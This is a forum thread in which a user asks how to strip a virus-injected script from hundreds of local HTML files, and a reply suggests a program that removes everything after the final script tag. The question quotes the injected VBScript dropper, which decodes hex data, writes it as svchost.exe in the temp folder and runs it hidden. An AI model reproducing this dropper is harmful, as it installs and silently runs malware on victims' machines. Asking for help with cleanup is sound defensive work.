![]() |
Easy Question - Find and Replace
This one is bound to be easy, how would you do this? I've had a local virus that has copied an annoying script to the end of hundreds of HTML files on my local PC, fortunately it's only a local backup, but I don't want them there.
Normally I would do a Find and Replace in Textpad, but the problem is that each one has a slightly different code in it, so a Find and Replace doesn't work. I could create a Macro to do this in Textpad, but I want to know if there's an even simpler way. Here's the annoying script, that huge code is normally 10000 times bigger, I've deleted it down to a better size. Thanks in advance <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4069006E006700460069006C00650049006E0066006F00000 02802000001003000300030003000300034006200300000004 6000F000100460069006C00650044006500730063007200690 07000740069006F006E000006D0065000000730071007A0071 007A006A0061006E00670064006E0073007001506B00040050 00120002000000FFFF80000000000000000000000000000000 000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> |
If you have any programming skills, you can write a program to read the html files into an array of lines (of html). If the script is always at the end of the file, read the array backwards and remove from the array all lines from last line to the first <script tag encountered. Then, reassemble the lines into a file and write it back out to disk.
|
All times are GMT -7. The time now is 05:27 PM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123